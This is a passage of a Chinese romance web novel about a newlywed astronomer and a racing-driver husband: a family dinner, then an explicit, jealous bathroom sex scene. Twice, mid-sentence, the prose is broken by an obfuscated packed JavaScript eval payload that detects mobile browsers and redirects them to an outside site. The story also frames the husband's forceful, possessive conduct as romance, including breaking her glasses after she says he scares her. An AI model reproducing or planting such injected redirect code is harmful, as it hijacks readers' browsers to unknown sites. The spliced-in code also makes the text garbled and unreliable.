他一步步逼近,“昨天晚上,不是拿这当教材,让我一点一点全都看清楚,记下来吗?” “那不一样。” 温木慢慢系上睡衣纽扣,从最上面一颗开始。丝绸面料一寸寸遮住肌肤,反而比赤裸更令人浮想联翩。 她缩进床角,给宋星燃留出大半位置。 床垫随即下陷,熟悉的雪松气息笼罩过来,一条结实的手臂横在她腰间。 温木轻轻挣了一下无果:“我怎么感觉,你比我还需要抱枕。” 宋星燃低笑,鼻尖蹭过她后颈:“有你,就够了。” 他的手掌贴着睡衣面料缓缓上移,在即将触及柔软边缘时戛然而止。指尖悬在那里,能感受到布料下轻微的起伏。 温木屏住呼吸。 那只手的热度几乎要灼穿丝绸,她甚至能通过相贴的皮肤感知到他脉搏的节奏。 快得不像话。 男人开口,嗓音很低:“你睡觉的时候,都不穿的吗?” 温木闭目养神,轻声回答:“穿着的话,不舒服。” “这么娇气。” “没你娇气。”她意有所指地用胳膊蹭蹭他的胸口,“你不是也不穿。” 宋星燃直接笑出声:“温老师,这个笑话很冷。” “但你还是笑了。” 沉默在黑暗中蔓延。 男人的手依然停在那危险的位置,有一下没一下地摩挲着衣料边缘。 “你是不是从来都不好好吃饭?”他突然问。 “这儿看着可怜得很。” 温木按住那只蠢蠢欲动的手:“觉得可怜的话,宋少爷就放过她们。” “嗯?” “我又没把她们怎么着,”宋星燃反扣住她的手指,“怎么就放过了?” 温木问:“你不听我话吗?” “你真把我当小孩子耍呢,”他犬齿磨蹭她耳垂,“还要我听话。” 温木在他臂弯里慢慢转身。两人变成面对面的姿势,鼻尖几乎相触。 煤油灯的光晕染在宋星燃睫毛上,投下细碎的阴影。 温木注视着那双漂亮的眼睛,轻声道:“就算你是我老公,也要听我话。” 男人的表情变了。 那种惯常的痞气褪去,露出几分罕见的委屈,像只被抢走骨头的大狗。 但温木不觉得自己做得很过分。 养狗狗就是这样,要一点点教,一点点奖励,才能养成习惯。 如果一上来就给他吃最好吃的东西,那以后就会变得很挑剔了。 狗狗啊,还是容易满足一点更好。 温木放软声音:“不高兴了?” “没有。”硬邦邦的回答。 “宋少爷,你怎么这么肤浅呢。” “你就这么想我?!”宋星燃猛地撑起身。 “那你告诉我,”温木抚上他的脸,“你为什么不高兴。” 男人幽怨地瞪着她,像生气,又像委屈。 许久才憋出一句:“是你把我抢来结婚的。” “我那天去你家,跟你说这件事,你也没说你不愿意。”他的声音越来越小,“现在老是拒绝我,还觉得我只想那个,我都搞不懂你是什么意思了。搞不懂你到底是愿意跟我结婚还是不愿意跟我结婚。” “还是说,你跟我结婚别有目的。” 温木沉默不语。 她能怎么说,总不能说是为了两栋大楼和一座天文台就逼着人家三少结婚了吧。 宋星燃看着她,委屈巴巴:“如果你讨厌我还要跟我结婚,那样很没意思。” “反正我感觉……” “我上当了。” 最后四个字几乎含在嘴里,让温木心尖一颤。 所以,他在乎的,是她的态度吗? “我没有讨厌你。”她指尖描摹着男人的眉骨,“只是这里床太小,隔音又差,我不想让别人听到。” 感觉到身下的躯体渐渐放松,悠悠继续:“而且……” “而且什么?” “我想好好准备。”温木凑近他耳边,“给你的firstnight。” 男人的耳根以肉眼可见的速度变红。 “谁,谁要你准备了!” “你不也跟我一样,要说,也应该是我来准备。” 温木顺着他的话哄:“好吧好吧,你准备。” 他闭上眼,手老老实实滑回她腰间,报复性地捏了一下:“瘦不拉几的。” “抱起来一点都不舒服。” 话是这么说,手倒是一秒都不带停的。 温木感受着腰间酥酥麻麻的痒意,语气里带着些无奈:“其实你可以不抱的。” “我就要抱。”宋星燃把她往怀里带了带。 “我也要试试抱着娃娃睡觉的感觉。” 温木轻笑:“今天晚上,谢谢你帮忙。” “哼,受不起。” 沉默片刻,她轻声问:“你想要奖励吗?” 男人猛然睁眼,瞳孔在暗处亮得惊人。 半晌,他别扭地“嗯”了一声,尾音上扬。 “这里不方便。”温木轻轻推开腰上的手。 “等我们回去以后。” 男人的呼吸明显粗重起来。 他张口咬住在唇上作乱的指尖,含糊不清地说:“温老师要说话算话。” 舌尖扫过指腹,留下一点湿濡。 “不然,我会很生气。” 温木挑眉:“我什么时候骗过你?” “你骗我的多了。”宋星燃松开她的手指,开始细数,“说好一天四次,结果在新家第一晚就去忙工作。说好来这里每天发消息,结果每次都是我问你在干嘛……” 温木伸手去捂男人的眼睛:“闭眼。” “凭什么?”宋星燃抓着她的手腕扣在心口,故意瞪大眼睛,“怕我吃了你啊?” 他再次贴近,让两人的距离缩短。 “还是说,你怕自己把持不——” 细嫩的指尖按住滔滔不绝的嘴巴。 “别说话。” 男人用眼神表达着自己的不满。 她倾身上前,在煤油灯即将燃尽的微光里,轻轻贴近他的唇。 “我要亲你了。” 15. For the stars 温热的唇轻轻落在男人额头,像一片雪花融化在灼热的沙地上。她能闻到他发丝间淡淡的机油味——是昨晚修理发电机时沾上的。 “就这?”宋星燃挑眉,眼底满是不满足。 “这不是亲吗?”温木装作不解。 男人嗤笑一声,突然翻身将她压在身下,他的呼吸喷在她唇上,带着薄荷糖的清凉。 “小孩子才bobo。” “成年人要的是kiss。” 温木刚要别过脸,下巴就被扣住。 宋星燃的唇压下来,干燥温暖,力道控制得恰到好处——没有更近一步,却也不容拒绝。 太近了。 她能看到男人紧闭的睫毛微微颤动,眉心有一道浅浅的皱痕,那样的专注,又好像有一点紧张。 原来亲亲的时候,他是这样的表情。 宋星燃很快退开,泄气般躺回床上,声音闷在枕头里。 “睡觉。” 温木愣了许久,伸出手,轻轻触上自己的唇。 黑暗中,她的嘴角微微扬起。 * 返程的飞机上,宋星燃与几位教授谈笑风生,甚至能接上那些晦涩的天文学话题。 温木不禁皱眉,倒显得她像是个外人。 她悄悄扯了扯他的衣角:“挺能装啊。” 男人偏过头,热气钻进她耳朵:“这都是为了,温老师的奖励啊。” 温木面无表情地翻开专业期刊。 信男人不如信她能发现外星人。 起飞后不久,温木开始晕机。 她强撑着看了几页论文,最终抵不住眩晕感,歪头睡了过去。 “温老师,醒醒。” 被人摇醒时,整个机舱已经空了大半。 温木坐直身子,男人的外套从身上滑下来。 宋星燃只穿着短袖坐在旁边。 “睡得跟猪一样,”他撇嘴,“还流口水呢。” 温木摸了摸干燥的嘴角:“三少说瞎话也不打草稿。” “小温啊,”高崇华从前排探出头,“你家小宋一直守着你,还给你披衣裳呢。” 温木微笑点头。 他那哪是守着,分明是懒得动罢了。 到达机场出口处,一位银灰头发的中年男子快步迎上来:“三少,少夫人。” 温木被这个称呼钉在原地。 宋星燃自然地揽过她的肩:“陈叔,我家的管家。” 温木微微点头:“陈叔。” “少夫人客气了,”陈严微笑打量眼前气质清冷的女子,“上车吧。” 车内空调开得很足,温木却仍觉得闷。 她攥紧衣角,努力忽视胃里的翻江倒海。 “不舒服?”宋星燃问。 温木刚要摇头,一只大手已经按上她的后脑勺,微微用力将她往自己肩上带。 “靠会儿,到了叫你。” 温木想抬头看他,却被牢牢按住。男人的肩膀比想象中舒适,肌肉恰到好处的硬度,温度透过薄布料传递过来。 她最终放弃挣扎,闭上眼睛。 后视镜里,从前张狂得不行的小少爷正小心翼翼地调整坐姿,让怀里的人靠得更舒服些。脸上是他从未见过的温柔。 陈严不禁摇摇头。 真是卤水点豆腐,一物降一物。 * 温木睁开眼,屋里很黑。 窗帘没拉,月光像一泓清泉倾泻而入,在地板上勾勒出窗棂的轮廓。 她眨了眨眼,意识逐渐回笼。 ——这不是她的卧室。 慢慢坐起身,借着月光打量这间陌生的卧室。房间比她想象中整洁,但处处透着男性气息。 床头柜上摆着一个F1赛车模型,金属漆面在月光下泛着冷光。墙上挂着几幅装裱起来的照片,温木隐约认出其中一张,男人似乎是站在领奖台上,香槟喷洒的瞬间被他用头盔挡住大半,却挡不住那股张扬的少年意气。 空气中飘着淡淡的薄荷香薰味道,清爽中带着一丝甜,莫名熟悉。 这是,宋星燃的房间? 他带她回家了? 她掀开被子,动作到一半突然停住。深灰色的床单上还残留着些许体温。 所以,她睡的是,宋星燃的床。 耳根瞬间发烫。 温木长这么大,还是第一次睡在一个陌生男人床上。 不对,不是陌生男人。 他们结婚了,还亲了,还摸了。 温木抿了抿唇,指尖抚过下唇,仿佛还能感受到那个薄荷味的吻。 她在枕头边摸到自己的眼镜。 床边的地毯上不见她的鞋子。温木只能穿着袜子踩在光滑的大理石瓷砖上,凉意从脚底窜上来,让她打了个寒颤。 她轻手轻脚地打开门,走廊一片漆黑,只有楼梯口透出微弱的光亮。 扶着墙慢慢往下走,楼梯的木质扶手冰凉光滑。 转过第一个拐角时,她突然听到脚步声,还没来得及反应,就差点撞上一个坚实的胸膛。 她轻呼一声,本能地后退,却因为没穿鞋而失去平衡。 一只有力的手臂及时环住她的腰,稳住她的身形。 温木抬头,正对上宋星燃仰视的目光。 他站在下一级台阶,双手插兜,微微歪着头看她。身上有一股淡淡的薄荷沐浴露的味道,黑发柔软地垂在额前,看起来比平时乖巧许多。 温木再一次意识到他们的身高差——她站在高处,才能够俯视他。 “晚上好。” 男人开口,嘴角挂着那抹标志性的散漫笑意。声音因为刚睡醒而有些沙哑。 温木愣了一下:“晚上好。” 宋星燃的目光从她的脸滑到脚上,眉头皱起:“怎么不穿鞋?” “我没看见我的鞋。” 温木下意识蜷缩起脚趾,想要藏起自己光裸的脚。 宋星燃转身下楼,不多时回来,手里拎着一双毛绒拖鞋。 温木看清那拖鞋的样子,差点笑出声。浅棕色的拖鞋上缝着两只毛茸茸的狐狸耳朵,鞋面上还绣着狡黠的狐狸笑脸。 男人蹲下身,把拖鞋放在她面前的地板上:“穿。” 温木试探性地伸脚踩进去,拖鞋意外地柔软舒适。 她忍不住问:“你确定夏天穿这个?” 宋星燃:“不穿就光着。” 温木只能穿上这双与她形象完全不符的拖鞋,跟着他下楼。 狐狸耳朵随着她的步伐轻轻晃动,像是在嘲笑她的妥协。 客厅灯火通明,沙发上坐着三个人,听到脚步声同时转头。 沈岁今天穿了件墨绿色的旗袍,手腕上的翡翠镯子随着动作轻轻晃动。看到温木,热情地招呼着她。 “小木,睡好了?到我这儿来。” 温木走过去,刚想开口叫“沈姨”,又停住了。 她和宋星燃已经结婚了,也应该,改口了。 她深吸一口气,坐到沈岁身边,轻轻喊了声:“妈。” 沈岁怔住,眼睛微微睁大,随后绽放出灿烂的笑容:“哎!” 她应得响亮,伸手握住温木的手,“好孩子。” 温木又转向坐在单人沙发上的宋明深:“爸。” 宋明深穿着休闲西装,头发一丝不苟地梳在脑后,闻言露出和蔼的笑容,点了点头。 最后,她的目光落在沙发另一端的男人身上。宋铭栎,宋家二少,穿着黑色的衬衫,金丝眼镜后的眼睛温和含笑。 丈夫比自己小的坏处就在这。 温木不太清楚她和宋铭栎谁年纪大,一时间有点犯难该如何称呼。 宋星燃在一旁翘着二郎腿,懒懒开口:“我二哥,宋铭栎。” 温木:“认识的。” “温老师,我二哥今年28,跟你一样大呢。”男人语气很坏,嘴角勾起一抹恶劣的笑。 温木没应他,平静地看向宋铭栎:“铭栎哥。” 宋星燃手里的游戏机突然发出“gameover”的提示音。 宋铭栎点头:“你好。” 他的声音温和有礼,与宋星燃截然不同。 “今天本来就想让你来家里吃饭。”沈岁拉着温木的手说,“到的时候啊你睡着了,阿燃就把你抱上楼去睡觉了。” 居然是,他把她抱上去的。 温木忍不住看向宋星燃。 后者正在恶狠狠地锤着手里的抱枕,头也不抬地说:“不用谢。小爷我做好事不留名。” “你这孩子,怎么跟媳妇儿说话呢。”沈岁嗔怪道,转头又对温木说,“饿了吧?我们开饭。” 宋应濯不在,温木出于礼貌问了一句:“不用等应濯哥吗?” 宋应濯今年29,比她大一岁,她是知道的。 “哎呀他电视台里忙得很,”沈岁摆摆手,“一个搞早间新闻的,晚上还要加班,也不知道他在弄什么,我们先吃。” 温木点头起身,往餐厅走时却猛地被撞了一下肩膀,疼得她轻吸一口气。 抬头看去,是宋星燃高大的背影。 他转过头,面无表情:“不好意思啊,没看见你。” 听上去在道歉,语气里却毫无歉意。 温木揉揉肩膀。 这男人是气球做的吗? 一天到晚就在生气。 餐厅里,长桌上已经摆好了精致的餐具。宋星燃已经坐下,翘着二郎腿,表情阴郁地盯着面前的酒杯。 “吃饭呢,腿放下去,没个坐相。”沈岁皱眉,“也不知道给媳妇拉椅子。” 温木拉开宋星燃旁边的椅子:“没关系的妈,我自己来就好了。” 桌上菜色丰富但清淡,清蒸鲈鱼、白灼虾、上汤菜心,还有一盅冒着热气的花胶鸡汤。 餐桌中央还摆着一瓶已经开了的红酒和一瓶白酒。 “你妈妈说你喜欢清淡的,我就叫厨师准备了这些,不知道你喜不喜欢。”沈岁给温木夹了一只虾。 “很喜欢,谢谢妈。”温木微笑。 宋明深拿起红酒瓶:“小木能不能喝酒?” 温木摇头:“我不太喝得了。” 宋明深便指挥宋星燃:“去,给小木倒一杯水。” 宋星燃磨蹭了一会,猛地起身,椅子在地板上划出刺耳的声音。大步走向厨房,背影写满了不爽。 “浑小子,又怎么惹到他了。”沈岁无奈地摇头。 过了一会,宋星燃回来,把一杯水重重放在温木面前,水溅出来几滴。 温木平静地抽了张纸巾擦干脸颊,轻声道谢。 宋明深举起酒杯:“今天是我们一家人第一次在一起吃饭,祝星燃和小木新婚快乐,百年好合。” 大家一起举杯,温木端着水杯轻轻碰了碰宋星燃的酒杯。男人看都没看她,仰头将杯中酒一饮而尽。 晚餐进行得还算愉快,除了宋星燃全程没怎么动筷子,一个劲地喝酒。 等温木注意到的时候,他已经喝掉了三杯红酒和两杯白酒,脸颊却不显红晕。 还挺能喝。 温木想了想,还是问了一句:“你不是要控制饮食吗?” 男人转过头,眼神依旧清明,却看不懂情绪。 温木淡淡:“喝多了不舒服。” “要你管。” 他声音不大,但足够让全桌人听见。 随后直接推开椅子站起来,“我吃饱了。” “真是越来越没规矩。”宋明深皱眉。 温木打圆场:“没事的爸。他在冷湖那几天也累了,可能是没休息好。” 宋星燃的背影僵了一下,然后头也不回地上了楼。 * 晚餐后,众人移步客厅。 温木坐在沈岁身旁,接过管家递来的花茶。茶水温热,氤氲着淡淡的玫瑰香气。 她小啜一口,甜而不腻,恰到好处。 宋明深清了清嗓子,从西装内袋取出一个暗红色的丝绒盒子。盒子打开,里面是一张黑金色的银行卡。 “小木啊,”宋明深的声音比平时柔和许多,“我们能和你成为一家人,真的是打心眼里高兴。” 他将盒子推向温木,“我们没有什么能给你的,只有一点小礼物。拿去买点喜欢的东西。” 温木立刻放下茶杯,双手轻推盒子:“爸,这我不能收。” “小木,你先听我们说完。”沈岁按住温木的手,温暖的掌心贴着她的手背。 “我跟你妈妈认识十几年了。老实说,想要你当媳妇的这个想法,很早就有,而且是一年比一年的强烈。” 沈岁的眼角微微泛红。优雅的贵妇人此刻卸下了所有社交面具,眼中满是真挚。 她继续道,声音轻柔却坚定:“但我们必须要承认的是,我们是希望你和星燃有孩子的。” 原来宋星燃还没有告诉他们,她两年之内都不打算要孩子。 温木默默垂眸。 “我们也知道,这肯定会影响到你的身体和事业,心里很过意不去。”沈岁握紧温木的手,“所以,不管最后你愿不愿意要孩子,打算什么时候要,我们都会接受。” 宋明深点头附和:“结婚以前答应的两栋天文大楼和其他研究设备,绝对不会食言。但是爸爸妈妈希望,你可以把这些当作是我们的诚意,而不是一场交易。” 他难得地露出一个有些腼腆的笑容,“说句怕你笑话的,你太受欢迎了,我们真的是担心你看不上我们家啊。” 温木胸口泛起一阵暖意。 其实她不是太习惯于直白的情感表达,但面对眼前这对夫妇的坦诚,又很难不接受。 她垂眸思考片刻,决定以同样的真诚回应:“爸,妈,其实我两年内都不打算要孩子。” 她抬头,直视两位长辈的眼睛,“我确实还有一个研究项目需要完成,可能还要中国欧洲两地跑。” “但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223329|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我答应你们,等项目结束,会好好考虑这件事。” 沈岁的眼睛亮了起来。 温木继续道:“其实,我从来没想过不生孩子。爸妈也知道,我家就我一个孩子,从小也挺孤单的。” 她嘴角微微上扬,“每次去亲戚家看到弟弟妹妹,都很高兴。所以这件事,只是时间问题。” “好啊,好啊!”沈岁激动地拍手,翡翠镯子碰撞出清脆的声响,“我们完全理解,研究工作要紧。” 宋明深也露出笑容,再次将银行卡推向温木。 “小木,收下吧。这是我们的心意。” 温木依然摇头:“真的不能收。” 宋明深思索片刻:“那这样吧,我把这笔钱捐给咱们市里的天文馆,以你的名义。这样可以吗?” 温木轻轻点头:“谢谢爸,谢谢妈。” 就在这时,大门被推开,夜风裹挟着凉意卷入客厅。一个高大的男人迈着稳健的步伐走进来,西装革履,领带一丝不苟地系在喉结下方。 宋应濯,宋家长子,有着与宋星燃相似的轮廓,却更加冷峻内敛。他的眉骨很高,眼窝深邃,眼睛锐利如鹰。 “爸,妈。”宋应濯微微颔首,声音低沉有力,随后目光转向温木 温木站起身:“应濯哥。” 宋应濯:“抱歉,今天临时有事,没赶回来吃饭。” 温木:“没关系,以后还有机会。” 沈岁笑着说:“小木今天就留在这休息吧。你们都累了,就别再跑来跑去了。” 温木应下,余光瞥见宋应濯手腕上的表——百达翡丽星空系列,表盘上精细地描绘着北半球星空图。 这款表她曾在杂志上见过,全球限量50只。是她很中意的款式。 当然,最后也没买——穷。 这兄弟几个,怎么净买她喜欢又买不起的东西。 沈岁:“二楼是我和你爸的房间,三楼是阿濯和阿栎的,四楼是阿燃的。” 温木:“他一个人用一层楼吗?” 沈岁笑出声:“这都不够他造的呢。他小时候别提有多闹腾了,我就把他放在楼顶,随他怎么闯祸去。” 温木浅浅一笑。 还真是三岁看到老。 这男人现在也很闹腾。 上楼时,温木在三楼走廊遇到了宋应濯。他正站在窗前打电话,见她走来,简短地结束了通话。 “应濯哥,《星空探秘》的进展如何?”温木主动开口,语气平静专业。 这是国家电视台一档天文科普节目,由宋应濯负责制作,她曾作为顾问参与过前期策划。 宋应濯:“下个月开始录制,第一期的主题是''银河系中的系外行星''。” 温木点头:“选题很好。如果需要,我可以提供一些最新的研究数据。” “辛苦。”宋应濯的眼中闪过一丝赞赏,但语气依旧拒人于千里之外,“我会让助理联系你。” 简短交流后,温木继续上楼。 四楼的走廊比下面几层都要安静,只有她的脚步声在厚实的地毯上闷闷作响。 宋星燃的房门紧闭,她犹豫了一下,轻轻推开。 房间里没开灯,只有月光如水般倾泻。床上大剌剌躺着一个人,被子被踢到一边,露出精瘦的腰身。 睡着了吗? 温木轻手轻脚地走过去,却发现男人睁着眼睛,眼珠子一动不动。 “你是鱼吗?”她小声问,“怎么睁着眼睛睡觉。” 宋星燃不理她,只是盯着天花板,呼吸间还带着淡淡的酒气。 温木犹豫一下,还是开口:“借我一件衣服?” “我的睡衣没洗。” “不借。”宋星燃干脆利落地拒绝。 “那你要我光着吗?”温木反问。 男人猛地转过头,黑发凌乱地散在额前,看了她许久,又把自己砸进枕头里。 “谁想看你光着?” 说完,他翻身下床,大步走向衣柜。 柜门一开,里面的景象让温木忍不住摇头。衣服乱七八糟地堆在一起,有几件甚至半挂在抽屉外。 还真是狗窝啊。 宋星燃从一堆衣物中翻出一件白色T恤,随手扔给她。T恤在空中划出一道弧线,落在温木脚边。 “裤子。” “你烦不烦?”他皱眉,但还是转身去翻,找出一条黑色运动短裤扔过来。 “毛巾。” 男人停下动作,转身盯着她。月光下,他的眼睛黑得发亮,像是深不见底的漩涡。 温木被他看得有些不自在,手指绞紧了手中的衣物。 下一秒,天旋地转。她整个人悬空,双脚离地。下意识搂住最近的物体保持平衡。 触到微凉的皮肤和略微扎手的短发,温木才意识到,自己搂着的是宋星燃的脖子。 似乎太过亲密,她又立刻松开手,手臂僵硬地悬在半空。 “你抱我干什么?”温木垂眸,尾音颤抖。 男人低下头,酒精的气息席卷而来,混合着他身上的雪松香气。 “你知不知道你真的很烦。” 温木偏过头,避开他的呼吸。 “嗯。我知道。” “跟你一样。” 宋星燃哼了一声,一脚踢开侧面的小门。 温木这才发现,这里面,是一间超乎想象的浴室。 天花板是全玻璃的,月光毫无阻碍地洒落下来。四周都是落地窗,窗外是宁川璀璨的夜景。正中央是一个嵌入地面的方形浴池,水面漂浮着厚厚一层玫瑰花瓣,在月光下呈现出暗红色的光泽。 男人蹲下身,将温木放在池边。她的裙摆浸入水中,立刻湿透,凉丝丝的感觉钻入皮肤。 温木抬头看宋星燃,他也注视着她。 良久,他开始脱衣服。 宋星燃的身材很好,肌肉线条分明,腹肌随着呼吸微微起伏,锁骨深陷,肩膀宽阔得几乎能挡住所有光线。 温木倒是不害羞,饶有兴趣地看着眼前这香艳的一幕。 然后发现,事情好像有点不对劲。 “你不是洗过澡了吗?” 她低着头,一点一点沿着池子边缘往后挪,湿透的布料黏在大腿上,带来异样的触感。 男人一步一步逼近,水面随着他的动作荡开涟漪。 温木一点一点后退,直到后背贴上冰凉的玻璃窗,退无可退。 高大的阴影笼罩下来,将她困在方寸之间。 宋星燃俯身,贴上她的颈侧。灼热的呼吸喷在皮肤上,激起一片细小的疙瘩。 目光锁定在她漂亮的锁骨上,凝视片刻,张嘴,露出尖利的虎牙,毫不犹豫,一口咬了下去。 “啊。” 温木轻喘一声,下意识抓住他的肩膀。 男人抬起头,眼中闪烁着危险的光芒。 一字一顿,带着不容拒绝的强势。 “我的奖励呢?” 16. For the stars 像是被阴霾包裹,低气压充满了整个浴室。 温木的手指轻轻描摹着宋星燃的眉骨,在右眉上的疤痕处停住:“你是不是不高兴?” 男人别过脸,水珠从发梢甩落:“没有。” 嘴硬,没有还拉着个脸。 温木犹豫了一下,双臂环上他的脖颈,指尖没入微湿的发根。 “真的吗?” 她的声音比平时柔软,像一片羽毛轻扫过耳膜。 宋星燃的喉结滚动,下颌线条绷紧。月光从头顶的玻璃天窗洒下来,在他高挺的鼻梁上投下一道阴影。 他似乎在隐忍些什么。 “我是你的妻子,”温木的拇指轻轻摩挲着他的后颈,“你可以告诉我的。” “是我做了什么,让你不高兴吗?” 语气是少有的柔和,但表情依然平静,金丝眼镜后的双眸清澈如水,叫人看不出情绪。 宋星燃胸口那股无名火烧得更旺了。 宋铭栎和温木年纪一样大,她居然喊他“铭栎哥”。 他比她小四岁,她是不是永远不会喊自己哥哥? 这个念头像一根刺,扎在他心里最柔软的地方。 更让他不爽的是,晚餐前温木连一个眼神都没给他,反而和宋铭栎聊得投机。 一个干投行的,一个干天文的,有哪门子的话能聊? 还有刚才在楼梯那里,她又和宋应濯说话。 一个主持人,一个博士,又有什么共同话题? 明明他们才是夫妻,这女人分给他的注意力还不如两个毫无瓜葛的哥哥。 “为什么喊他们哥哥?” 宋星燃突然开口,手上又用力了几分。 温木愣了一下,嘴角微微上扬:“因为他们比我大。” “应濯哥29岁,铭栎哥虽然跟我一样大,但我还是要跟着你喊。” 男人的脸更阴沉了:“你怎么知道我大哥29岁?” 温木伸出手,指尖轻轻拂过他的额前,将那缕湿发撩到一边,露出他完整的眉眼。 那双漂亮的桃花眼在月光下呈现出一种深邃的琥珀色。此刻,盈盈目光中,又暗流涌动。 她忽然很想看他生气的样子。 “因为我跟他,之前就认识。” 几乎就是一瞬间,男人猛地将她抱起来抵在落地窗上。 水花拍打在玻璃上,几片玫瑰花瓣粘在温木的背上,透过湿透的衣料传来微凉的触感。 温木本能地攀住宋星燃的肩膀。她的眼镜歪斜地挂在鼻梁上,镜片后的眼睛微微睁大。 两人的脸近在咫尺。 男人的呼吸粗重,热气浇在她唇上,带着淡淡的酒精味。温木能清晰他眼中翻涌的情绪、愤怒、不爽,还有某种更深的东西,像是暗流下的漩涡,将人一点点吸进去。 “你跟他认识?” 宋星燃一字一顿地问,声音沙哑。 “什么时候认识的?为什么认识?为什么不告诉我!” 温木咽了下口水,因为男人突然爆发的情绪而微微瑟缩。 她又见到了宋星燃的这副模样。 冲动的,凶猛的,像丛林里的野兽。 连那张漂亮的脸蛋也充满了威慑。 “你吓到我了。”温木试图让他冷静下来。 “是吗?”男人冷笑一声,只用一只手托住她的身子,另一只手直直冲着她的脸来。 温木后知后觉挣扎:“我的眼镜。” 但已经晚了。 世界瞬间变得模糊,只剩下色块和光影。 “咔嚓”。 是镜片碎裂的声音。 他到底用了多大力气啊! 温木:“你……” 宋星燃的唇压了下来,截断了她所有话语。 这个吻来势汹汹,带着不容拒绝的强势。他的虎牙轻轻刮过她的下唇,带来一丝刺痛。 温木被迫仰起头,承受这个几乎掠夺她所有氧气的吻。男人的手掌托着她的后脑,指尖插入她湿透的发丝,不让她有丝毫退缩的余地。 直到温木因为缺氧而开始轻推他的胸膛,宋星燃才稍稍退开。 她大口喘息着,胸口剧烈起伏,水珠顺着她的锁骨滑入衣领,嘴唇微微发麻。 “看得清吗?”宋星燃问她,声音比刚才更哑了。 温木摇头,长发上的水珠甩落在两人之间。 “看得清我吗?”他追问。 温木点头。 即使视线模糊,眼前男人的轮廓依然清晰得刺眼。紧绷的下颌线,滚动的喉结,还有那双燃烧着火焰的眼睛。 “我要你只看得清我。” 说完,男人再次吻上来。 这一次的吻更加绵长。从嘴唇到耳垂,再到颈侧,最后停留在锁骨上那个他刚刚咬出的红痕处。 衣服已经被浸湿,不知道沉到哪个角落去了。 “等一……” 温木的抗议被另一个吻堵了回去。 呼吸变得急促,胸口紧贴着身前的男人,能感受到他同样剧烈的心跳。 后脑抵在冰凉的玻璃上,视线因为失去眼镜而模糊,但身体的感觉却异常清晰。 “宋星燃。” 她轻声唤他的名字,声音里带着自己都没察觉的恳求。 “嗯?” 宋星燃抬头,唇上还带着水光。 “怎么了?” 那双漂亮的眼睛,闪着危险又迷人的光。 温木说不出话来。 理智告诉她,她才应该主导这一切,但身体却背叛了她。 手指插入男人的发间,他的发丝是柔软的、湿润的,与他火热而坚硬的身体完全不同。 算了。 让他一次吧。 让她看看,让无数女孩趋之若鹜的赛车手先生,到底有什么本事。 宋星燃似乎读懂了她的沉默,嘴角勾起一抹坏笑。 温木小幅度地摇头,却控制不住身体的反应。一半是因为浴室微凉的空气,一半是因为前所未有的紧张。 即使理智上知道这是夫妻之间再正常不过的事,情感上她依然感到一丝惶恐。 这个被她强行拉入自己生活中的男人,现在正以最亲密的方式,确认他在她那儿的地位和所有权。 宋星燃抱着她转身,踏入浴池中央。 温热的水立刻包围了温木的身体,驱散了寒意。玫瑰花瓣随着水波荡漾,有几片粘在她的肩膀上,像是一串天然的珠宝。 “放松。”宋星燃在她耳边低语,“不然会受伤的。” 与方才的强势判若两人。 温木惊讶于他的转变,身体却不自觉地听从了指令。水温恰到好处,舒缓了她紧绷的肌肉。 “这样呢?” 他的唇贴着她的耳廓,声音带着笑意。 “还紧张吗?” 温木想反驳自己并不紧张,但微颤的呼吸出卖了她。 月亮悄悄捂住眼睛。 “温老师。” “你真漂亮。” 宋星燃附身,吻再次落下。 水波轻轻荡漾,玫瑰花瓣起起伏伏,像是跳着某种古老的舞蹈。 “看着我。” 他硬声要求,声音因为克制而紧绷。 温木反应不及,仍旧仰着头,目光涣散。 男人密密地吻着她。 “温木,看着我。” 温木努力聚焦视线,对上他的眼睛。 即使在模糊的视野中,他眼中的情感依然清晰可辨。占有欲、渴望,还有某种更深沉的东西,像是夜空中最亮的星辰,耀眼得让人无法直视。 她扭过头去,告诉自己不要再想。 世界仿佛只剩下触觉和听觉。 宋星燃沉重的呼吸,水流的声音,还有她越来越快的心跳。 “我是谁?”他问她。 “宋……星燃。”温木被弄得难受,声音断断续续。 “不对。” “再想。” 好一会儿,温木才明白他的意思,一股热流涌上脸颊。 她不想喊,也喊不出口。 “不说话?” 一片玫瑰花瓣卡在她腰窝,像是盛放的蝴蝶。 一下,一下。 蝴蝶在飞。 “温老师,想到了吗?”宋星燃又问她一遍。 温木实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223330|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在受不了,咬着唇,轻轻喊了一声: “老公。” 水花停住,又更加热烈地包裹住他们。 视线穿过玻璃天花板,看到满天繁星。它们在她模糊的视线中连成一片,像是银河坠落。 失去意识的前一刻,男人的唇贴上她的喉咙,感受着她脉搏的跳动,带着她一起坠入那片星海。 …… “我的眼镜。” “明天给你买新的。”宋星燃吻了吻她的发顶,语气里带着餍足。 温木想抗议,但没有力气。她的身体像是被抽走了所有能量,只能软绵绵地靠在宋星燃身上。 水还是温的,但似乎有凉意爬上她的心尖,让她不自觉地往男人怀里缩了缩。 “冷?”宋星燃立刻察觉,双臂收紧。 温木摇头,又点了点头。 她不确定自己是冷还是别的什么。 身体深处有一种陌生的感觉,像是有什么东西被永远改变了。 男人站起身,水花四溅。他轻松地抱起温木,迈出浴池。水珠从两人身上滚落,在月光下闪闪发光。 温木下意识地环住他的脖子,脸贴在他湿漉漉的胸膛上,闻到他身上混合着玫瑰香气的独特味道。 